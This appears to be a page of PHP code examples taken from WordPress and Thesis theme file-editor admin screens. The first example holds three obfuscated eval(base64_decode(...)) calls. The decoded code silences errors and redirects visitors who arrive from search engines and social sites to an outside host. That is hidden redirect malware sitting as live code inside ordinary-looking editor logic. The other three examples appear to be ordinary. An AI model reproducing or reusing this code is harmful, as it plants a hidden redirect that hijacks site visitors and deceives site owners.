示例#1
0
            $error = 1;
        }
        if (!$error && filesize($file) > 0) {
            $f = fopen($file, 'r');
            $content = fread($f, filesize($file));
            if ('.php' == substr($file, strrpos($file, '.'))) {
                $functions = wp_doc_link_parse($content);
                $docs_select = '<select name="docs-list" id="docs-list">';
                $docs_select .= '<option value="">' . esc_attr__('Function Name...') . '</option>';
                foreach ($functions as $function) {
                    $docs_select .= '<option value="' . esc_attr(urlencode($function)) . '">' . htmlspecialchars($function) . '()</option>';
                }
                $docs_select .= '</select>';
            }
            $content = htmlspecialchars($content);
            $codepress_lang = codepress_get_lang($file);
        }
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        if (isset($_GET['a'])) {
            ?>
 <div id="message" class="updated fade"><p><?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            _e('File edited successfully.');
            ?>
</p></div>
<?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        }
        $description = get_file_description($file);
        $desc_header = $description != $file_show ? "<strong>{$description}</strong> (%s)" : "%s";
        ?>
示例#2
0
    function options_page()
    {
        global $thesis_site;
        $custom_editor = new thesis_custom_editor();
        ?>

<div id="thesis_options" class="wrap<?php 
        if (get_bloginfo('text_direction') == 'rtl') {
            echo ' rtl';
        }
        ?>
">
<?php 
        thesis_version_indicator();
        thesis_options_title(__('Thesis Custom File Editor', 'thesis'), false);
        thesis_options_nav();
        thesis_options_status_check();
        if (version_compare($thesis_site->version, thesis_version()) != 0) {
            ?>
	<form id="upgrade_needed" action="<?php 
            echo admin_url('admin-post.php?action=thesis_upgrade');
            ?>
" method="post">
		<h3><?php 
            _e('Oooh, Exciting!', 'thesis');
            ?>
</h3>
		<p><?php 
            _e('It&#8217;s time to upgrade your Thesis, which means there&#8217;s new awesomeness in your immediate future. Click the button below to fast-track your way to the awesomeness!', 'thesis');
            ?>
</p>
		<p><input type="submit" class="upgrade_button" id="teh_upgrade" name="upgrade" value="<?php 
            _e('Upgrade Thesis', 'thesis');
            ?>
" /></p>
	</form>
<?php 
        } elseif (file_exists(THESIS_CUSTOM)) {
            // Determine which file we're editing. Default to something harmless, like custom.css.
            $file = $_GET['file'] ? $_GET['file'] : 'custom.css';
            $files = $custom_editor->get_custom_files();
            $extension = substr($file, strrpos($file, '.'));
            // Determine if the custom file exists and is writable. Otherwise, this page is useless.
            $error = $custom_editor->is_custom_writable($file, $files);
            if ($error) {
                echo $error;
            } else {
                // Get contents of custom.css
                if (filesize(THESIS_CUSTOM . '/' . $file) > 0) {
                    $content = fopen(THESIS_CUSTOM . '/' . $file, 'r');
                    $content = fread($content, filesize(THESIS_CUSTOM . '/' . $file));
                    $content = htmlspecialchars($content);
                } else {
                    $content = '';
                }
            }
            // Highlighting for which language?
            $lang = function_exists('codepress_get_lang') ? codepress_get_lang($file) : '';
            ?>
	<div class="one_col">
		<form method="post" id="file-jump" name="file-jump" action="<?php 
            echo admin_url('admin-post.php?action=thesis_file_editor');
            ?>
">
			<h3><?php 
            printf(__('Currently editing: <code>%s</code>', 'thesis'), "custom/{$file}");
            ?>
</h3>
<?php 
            if (function_exists('use_codepress')) {
                if (use_codepress()) {
                    echo "\t\t\t<a class=\"syntax\" id=\"codepress-off\" href=\"admin.php?page=thesis-file-editor&amp;codepress=off&amp;file={$file}\">" . __('Disable syntax highlighting', 'thesis') . "</a>\n";
                } else {
                    echo "\t\t\t<a class=\"syntax\" id=\"codepress-on\" href=\"admin.php?page=thesis-file-editor&amp;codepress=on&amp;file={$file}\">" . __('Enable syntax highlighting', 'thesis') . "</a></p>\n";
                }
            }
            ?>
			<p>
				<select id="custom_files" name="custom_files">
					<option value="<?php 
            echo $file;
            ?>
"><?php 
            echo $file;
            ?>
</option>
<?php 
            foreach ($files as $f) {
                // An option for each available file
                if ($f != $file) {
                    echo "\t\t\t\t\t<option value=\"{$f}\">{$f}</option>\n";
                }
            }
            ?>
				</select>
				<input type="submit" id="custom_file_jump" name="custom_file_jump" value="<?php 
            _e('Edit selected file', 'thesis');
            ?>
" />
			</p>
<?php 
            if ($extension == '.php') {
                echo "\t\t\t<p class=\"alert\">" . __('<strong>Note:</strong> If you make a mistake in your code while modifying a <acronym title="PHP: Hypertext Preprocessor">PHP</acronym> file, saving this page <em>may</em> result your site becoming temporarily unusable. Prior to editing such files, be sure to have access to the file via <acronym title="File Transfer Protocol">FTP</acronym> or other means so that you can correct the error.', 'thesis') . "</p>\n";
            }
            ?>
		</form>
		<form class="file_editor" method="post" id="template" name="template" action="<?php 
            echo admin_url('admin-post.php?action=thesis_file_editor');
            ?>
">
			<input type="hidden" id="file" name="file" value="<?php 
            echo $file;
            ?>
" />
			<p><textarea id="newcontent" name="newcontent" rows="25" cols="50" class="large-text codepress <?php 
            echo $lang;
            ?>
"><?php 
            echo $content;
            ?>
</textarea></p>
			<p>
				<input type="submit" class="save_button" id="custom_file_submit" name="custom_file_submit" value="<?php 
            thesis_save_button_text();
            ?>
" />
				<input class="color" type="text" id="handy-color-picker" name="handy-color-picker" value="ffffff" maxlength="6" />
				<label class="inline" for="handy-color-picker"><?php 
            _e('quick color reference', 'thesis');
            ?>
</label>
			</p>
		</form>
	</div>
<?php 
        } else {
            echo "<div class=\"warning\">\n\t<p><strong>" . __('Attention!', 'thesis') . '</strong> ' . __('In order to edit your custom files, you&#8217;ll need to change the name of your <code>custom-sample</code> folder to <code>custom</code>.', 'thesis') . "</p>\n</div>\n";
        }
        ?>
</div>
<?php 
    }
示例#3
0
        require_once 'admin-header.php';
        update_recently_edited(WP_PLUGIN_DIR . '/' . $file);
        $content = file_get_contents($real_file);
        if ('.php' == substr($real_file, strrpos($real_file, '.'))) {
            $functions = wp_doc_link_parse($content);
            if (!empty($functions)) {
                $docs_select = '<select name="docs-list" id="docs-list">';
                $docs_select .= '<option value="">' . __('Function Name...') . '</option>';
                foreach ($functions as $function) {
                    $docs_select .= '<option value="' . esc_attr($function) . '">' . htmlspecialchars($function) . '()</option>';
                }
                $docs_select .= '</select>';
            }
        }
        $content = htmlspecialchars($content);
        $codepress_lang = codepress_get_lang($real_file);
        if (isset($_GET['a'])) {
            ?>
 <div id="message" class="updated fade"><p><?php 
            _e('File edited successfully.');
            ?>
</p></div>
<?php 
        } elseif (isset($_GET['phperror'])) {
            ?>
 <div id="message" class="updated fade"><p><?php 
            _e('This plugin has been deactivated because your changes resulted in a <strong>fatal error</strong>.');
            ?>
</p>
	<?php 
            if (wp_verify_nonce($_GET['_error_nonce'], 'plugin-activation-error_' . $file)) {
示例#4
0
    // Determine if the custom file exists and is writable. Otherwise, this page is useless.
    $error = thesis_is_custom_file_writable($file);
    if ($error) {
        echo $error;
    } else {
        // Get contents of custom.css
        if (filesize(THESIS_CUSTOM . '/' . $file) > 0) {
            $content = fopen(THESIS_CUSTOM . '/' . $file, 'r');
            $content = fread($content, filesize(THESIS_CUSTOM . '/' . $file));
            $content = htmlspecialchars($content);
        } else {
            $content = '';
        }
    }
    // Highlighting for which language?
    $lang = function_exists('codepress_get_lang') ? codepress_get_lang($file) : '';
    // Get list of available files
    $files = thesis_get_custom_files();
    ?>
	<div class="one_col">
		<form method="post" id="file-jump" name="file-jump" action="<?php 
    echo admin_url('admin-post.php?action=thesis_file_editor');
    ?>
">
			<h3><?php 
    printf(__('Currently editing: <code>%s</code>', 'thesis'), 'custom/' . $file);
    ?>
</h3>
<?php 
    if (function_exists('use_codepress')) {
        if (use_codepress()) {